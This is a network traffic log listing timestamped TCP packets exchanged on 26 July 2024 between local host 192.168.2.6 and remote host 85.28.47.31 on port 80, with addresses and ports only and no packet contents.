Jul 26, 2024 10:36:16.217058897 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.217058897 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.217081070 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.217113972 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.217118025 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.217118025 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.217147112 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.217158079 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.217180967 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.217202902 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.217212915 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.217253923 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.217253923 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.218375921 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.218597889 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.295558929 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.295622110 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.295655966 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.295682907 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.295682907 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.295707941 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.295713902 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.295741081 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.295773983 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.295783997 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.295783997 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.295809984 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.295828104 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.295859098 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.296005011 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.296037912 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.296072006 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.296086073 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.296086073 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.296106100 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.296139002 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.296154976 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.296154976 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.296171904 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.296205044 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.296217918 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.296217918 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.296237946 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.296262026 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.296273947 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.296294928 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.296314955 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.296530008 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.296564102 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.296597004 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.296612024 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.296612024 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.296631098 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.296641111 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.296665907 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.296683073 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.296699047 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.296713114 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.296731949 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.296777010 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.296777010 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.297032118 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.297065020 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.297086954 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.297100067 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.297110081 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.297133923 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.297146082 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.297166109 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.297199011 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.297211885 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.297211885 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.297233105 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.297261953 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.297280073 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.297280073 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.297295094 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.297328949 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.297341108 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.297341108 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.297362089 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.297374010 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.297395945 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.297418118 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.297435045 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.297468901 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.297476053 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.297476053 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.297496080 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.297523975 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.297528982 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.297537088 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.297560930 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.297571898 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.297624111 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.297868013 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.297900915 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.297934055 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.297944069 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.297944069 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.297966957 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.297995090 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.298000097 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.298018932 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.298036098 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.298068047 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.298079967 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.298079967 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.298101902 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.298125982 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.298135042 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.298155069 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.298168898 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.298204899 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.298207045 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.298207045 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.298250914 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.306416035 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.306467056 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.306500912 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.306510925 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.306510925 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.306533098 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.306566000 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.306576014 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.306576014 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.306600094 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.306621075 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.306633949 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.306658030 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.306684017 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.306942940 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.306973934 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.307008982 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.307013035 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.307013035 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.307040930 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.307050943 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.307080030 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.307110071 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.307113886 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.307126045 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.307147026 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.307178974 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.307192087 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.307192087 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.307213068 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.307224035 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.307274103 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.307346106 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.307379961 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.307409048 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.307418108 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.307423115 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.307451010 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.307483912 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.307497025 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.307497025 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.307512045 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.307543993 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.307558060 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.307558060 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.307578087 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.307611942 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.307621002 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.307621002 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.307645082 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.307677031 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.307687998 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.307687998 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.307709932 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.307742119 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.307742119 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.307776928 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.307787895 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.307787895 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.307810068 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.307823896 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.307842970 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.307852983 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.307920933 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.308221102 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.308274031 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.308295012 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.308306932 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.308341026 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.308343887 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.308362007 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.308373928 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.308387041 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.308407068 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.308415890 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.308439016 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.308465958 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.308473110 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.308490038 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.308522940 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.308526993 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.308559895 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.308593035 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.308607101 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.308607101 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.308625937 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.308646917 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.308661938 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.308676004 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.308693886 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.308722973 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.308723927 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.308747053 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.308753967 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.308773041 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.308788061 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.308800936 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.308834076 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.309158087 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.309190035 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.309210062 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.309222937 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.309257030 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.309264898 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.309264898 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.309288979 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.309305906 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.309323072 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.309355021 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.309367895 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.309367895 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.309387922 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.309401035 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.309421062 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.309453011 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.309463024 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.309463024 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.309487104 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.309519053 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.309531927 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.309531927 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.309551954 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.309580088 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.309583902 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.309597015 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.309648037 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.389350891 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.389395952 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.389430046 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.389481068 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.389481068 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.389482975 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.389514923 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.389548063 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.389549971 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.389549971 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.389581919 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.389621019 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.389621019 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.389822960 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.389856100 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.389888048 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.389898062 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.389898062 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.389919996 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.389936924 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.389952898 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.389961004 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.389983892 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.390000105 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.390016079 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.390019894 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.390048981 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.390077114 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.390083075 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.390117884 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.390125990 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.390125990 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.390160084 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.390337944 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.390369892 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.390388966 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.390414000 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.390419006 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.390451908 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.390485048 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.390495062 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.390495062 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.390516996 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.390548944 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.390559912 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.390559912 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.390580893 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.390593052 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.390616894 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.390647888 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.390649080 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.390682936 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.390690088 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.390690088 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.390713930 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.390724897 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.390747070 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.390779018 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.390789986 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.390789986 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.390814066 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.390861034 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.390861034 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.391268969 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.391300917 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.391333103 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.391340017 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.391340017 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.391365051 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.391398907 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.391402006 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.391402006 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.391431093 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.391463995 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.391473055 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.391473055 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.391494989 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.391529083 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.391537905 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.391537905 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.391571045 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.422075987 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.426945925 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.604156017 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.604226112 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.604259014 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.604260921 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.604290962 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:16.604368925 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:16.604371071 CEST	49710	80	192.168.2.6	85.28.47.31
